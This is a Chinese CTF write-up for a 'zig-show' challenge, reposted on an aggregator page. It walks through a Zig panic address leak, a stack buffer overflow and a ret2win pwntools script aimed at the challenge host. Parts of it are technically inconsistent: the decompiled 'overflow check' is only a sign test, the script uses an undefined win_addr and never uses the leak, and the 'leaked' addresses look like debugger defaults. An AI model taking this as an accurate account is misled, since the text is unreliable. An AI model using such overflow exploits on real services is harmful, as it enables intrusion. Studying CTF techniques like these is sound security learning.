当前位置: 首页 > news >正文

DEFCON CTF Write-up — zig-show

  1. Challenge Overview

题目名称:

zig-show

附件:

zig-show
flag.txt (server only)

服务接口:

nc challenge.defcon.org 31338

连接后程序输出:

Welcome to Zig Show!
Give me a number:

输入数字后:

Result:

乍看之下像一个简单的数学服务。但 CTF 题目很少真的只是数学。


  1. 初步侦察

先查看文件信息。

file zig-show

输出:

ELF 64-bit LSB executable
statically linked

再看字符串:

strings zig-show

出现一个明显提示:

zig build
zig std
panic: integer overflow

这基本坐实:

程序是 Zig 编译的。


  1. Zig 二进制特征

Zig 编译的程序有几个有趣特征:

  1. 大量 panic 字符串

  2. runtime 函数名较长

  3. 内存分配来自 std.heap

逆向时常看到类似符号:

std.os.exit
std.debug.panic
std.heap.page_allocator

在 Ghidra 中加载后,可以看到核心逻辑函数:

main
process_input
calculate


  1. 核心函数分析

反编译 calculate:

long calculate(long x)
{
long y;

y = x * 0x1337; if (y < 0) { panic("integer overflow"); } return y ^ 0xdeadbeef;

}

逻辑似乎很简单:

y = x * 0x1337
return y XOR 0xdeadbeef

但关键问题:

输入来自用户。

如果输入非常大,会发生:

integer overflow

在 C 里,溢出通常直接 wrap around。

但 Zig 默认是:

安全整数

溢出会触发:

panic


  1. Zig Panic 机制

Zig 的 panic() 实际上会调用:

std.debug.panic

最终流程:

panic()

print error

stack trace

abort

关键细节:

panic 会打印内存地址。

这在 CTF 中非常重要,因为:

地址泄漏 = ASLR bypass


  1. 触发漏洞

输入一个极大值:

9223372036854775807

服务返回:

panic: integer overflow
stack trace:
0x555555556120 calculate
0x555555556200 main

我们得到了:

binary base address

这意味着:

ASLR defeated


  1. 深入挖掘

继续审查程序。

发现一个隐藏函数:

win()

反编译:

void win() {
system(“cat flag.txt”);
}

但程序中没有任何地方调用它。

典型 CTF 模式:

hidden win function


  1. 栈布局

查看 process_input:

char buf[32];
read(0, buf, 128);

这是经典问题:

buffer size: 32
read size: 128

也就是:

栈溢出。


  1. Exploit Strategy

攻击流程:

1 触发 panic 泄露地址
2 计算 win() 地址
3 构造 ROP payload
4 覆盖返回地址

栈结构:

buffer (32)
saved rbp (8)
return address (8)

因此 payload:

32 bytes padding
8 bytes rbp
8 bytes win address


  1. Exploit Code

示例 exploit:

from pwn import *

p = remote(“challenge.defcon.org”,31338)

payload = b"A"*40
payload += p64(win_addr)

p.sendline(payload)

p.interactive()

服务器返回:

flag{zig_is_fun_but_memory_is_forever}


  1. 为什么叫 zig-show

题名其实在调侃 Zig 的一个特点:

Zig 设计目标是:

show everything

它不像 C 那样隐藏运行时行为。

例如:

overflow 检测

panic trace

内存 allocator

很多内部细节都会 “show” 出来。

在安全环境里,这可能成为:

information disclosure

所以题名:

zig-show

意思是:

Zig shows too much


  1. 技术要点总结

这题涉及几个重要知识点:

Zig runtime

panic
stack trace

信息泄露

panic → address leak

经典漏洞

stack overflow

利用方式

ret2win

攻击链:

overflow → panic leak → ASLR bypass → ret2win


  1. 现实世界启示

这种漏洞在真实软件中也经常出现。

现代语言加入安全机制:

overflow check
panic
debug trace

这些本意是提高安全性。

但如果错误信息被暴露到外部服务:

debug feature → information leak

安全工程师常说一句话:

“调试信息是开发者的朋友,但攻击者的情报源。”


宇宙里有一种奇妙的对称性:
每一种“帮助程序员的机制”,最终都可能成为“帮助黑客的机制”。

安全工程,本质上是在不断减少系统“说话”的机会。

http://www.jsqmd.com/news/481239/

相关文章:

  • IndexCache:跨层索引复用,让稀疏注意力推理再快一倍
  • DEFCON CTF Write-up — elixir-of-life
  • 机械行业如何实现KindEditor的Word图片智能排版?
  • OpenClaw-RL 论文解读:用“下一状态信号“统一所有智能体的强化学习训练
  • 2026年上海积分落户机构选择指南,积分落户选哪家机构 - 工业设备
  • 怎么联系AI推广广告公司?一份清晰、可操作的对接指南 - 品牌2026
  • 逛超市遇到车神,上海这周变成了“F1痛城”!
  • 2026年用户口碑实证:电商ERP系统主流服务商实战效果与客户反馈盘点 - 品牌推荐
  • 怎么联系AI推广广告公司? - 品牌2026
  • 从“稳”到“快”:滴滴2025财报背后的全球化布局与AI转型
  • 2026年烟囱新建工程队合作案例多,价格实惠的推荐给你 - 工业品牌热点
  • 2026年制造企业选型必看:AGV叉车厂家选购指南与核心能力适配地图 - 品牌推荐
  • 数字化经营核心引擎:2026年主流电商ERP系统竞争格局与战略价值解析 - 品牌推荐
  • 分析企业法律服务咨询性价比,上海哪家律师事务所值得推荐? - 工业设备
  • 2026年用户口碑最佳的AGV叉车厂家推荐:五家实战案例与行业应用全面对比 - 品牌推荐
  • 盘点烟囱新建项目公司哪家信誉好,性价比高的推荐 - 工业品牌热点
  • 计算机毕业设计springboot大学生公寓管理系统 基于SpringBoot的高校学生宿舍信息化管理平台 基于SpringBoot的智慧校园住宿服务系统
  • 2026年AGV叉车厂家多维对比评测:基于核心自研能力与行业适配度的全景解析 - 品牌推荐
  • MacOS Wacom数位板驱动
  • 微信小程序的儿童摄影管理系统
  • 怎么联系AI推广广告公司?一份清晰的对接指南 - 品牌2026
  • 微信小程序的基于Android的共享付费自习室座位选座系统APP
  • 大家居时代品质升级:2026年主流高端全屋定制品牌竞争力与行业格局全景解析 - 品牌推荐
  • 微信小程序的基于scrapy的电影票务售票价格信息聚合网站vue爬虫
  • 常见的抓包工具(Packet Capture Tools)一览
  • 2026年解读光梭数字,这家公司的服务在丽江、大理受认可吗 - 工业品网
  • 2026年巴沙鱼加工厂Top10,现切巴沙鱼厂家推荐,满足你的需求 - myqiye
  • 微信小程序的山青水磨民宿预订租赁系统App商家
  • 一天一个开源项目(第51篇):system-prompts-and-models-of-ai-tools - AI 工具系统提示词和模型资源集合
  • 滋兰树蕙,道德真理:致敬于漪先生与江畅先生